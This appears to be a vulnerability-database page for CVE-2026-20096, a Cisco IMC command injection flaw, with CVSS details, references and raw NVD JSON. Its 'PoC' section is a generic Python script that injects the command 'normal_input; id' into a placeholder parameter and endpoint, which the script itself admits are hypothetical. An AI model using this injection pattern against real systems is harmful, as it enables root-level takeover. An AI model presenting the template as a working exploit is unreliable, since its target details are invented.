CVE-2026-20096

Description

A vulnerability in the web-based management interface of Cisco IMC could allow an authenticated, remote attacker with admin-level privileges to perform command injection attacks on an affected system and execute arbitrary commands as the root user. This vulnerability is due to improper validation of user-supplied input. An attacker could exploit this vulnerability by sending crafted commands to the web-based management interface of the affected software. A successful exploit could allow the attacker to execute arbitrary commands on the underlying operating system as the root user. Cisco has assigned this vulnerability a Security Impact Rating (SIR) of High, rather than Medium as the score indicates, because additional security implications could occur once the attacker has become root.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Cisco IMC (具体受影响版本请参考Cisco官方公告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# This is a generic PoC for demonstration based on the vulnerability description.
# Actual vulnerable endpoint parameters may vary.

def exploit_cve_2026_20096(target_url, session_cookie):
    headers = {
        "Cookie": f"session={session_cookie}",
        "Content-Type": "application/x-www-form-urlencoded"
    }
    
    # Malicious payload to inject command (e.g., whoami)
    # The specific parameter 'vulnerable_param' is hypothetical
    payload = "normal_input; id" 
    
    data = {
        "vulnerable_param": payload,
        "action": "submit"
    }
    
    try:
        response = requests.post(f"{target_url}/api/endpoint", headers=headers, data=data, verify=False)
        if response.status_code == 200:
            print("Request sent successfully. Check response for command execution.")
            print(response.text)
    except Exception as e:
        print(f"Error: {e}")

# Usage
# exploit_cve_2026_20096("https://target-cisco-imc", "admin_session_token")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-20096
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-20096
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-20096/
[4] VulDB https://vuldb.com/cve/CVE-2026-20096
[5] https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cimc-cmd-inj-3hKN3bVt

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-20096", "sourceIdentifier": "[email protected]", "published": "2026-04-01T17:28:30.203", "lastModified": "2026-04-03T16:11:11.357", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the web-based management interface of Cisco IMC could allow an authenticated, remote attacker with admin-level privileges to perform command injection attacks on an affected system and execute arbitrary commands as the root user.\r\n\r\nThis vulnerability is due to improper validation of user-supplied input. An attacker could exploit this vulnerability by sending crafted commands to the web-based management interface of the affected software. A successful exploit could allow the attacker to execute arbitrary commands on the underlying operating system as the root user. Cisco has assigned this vulnerability a Security Impact Rating (SIR) of High, rather than Medium as the score indicates, because additional security implications could occur once the attacker has become root."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}]}], "references": [{"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cimc-cmd-inj-3hKN3bVt", "source": "[email protected]"}]}}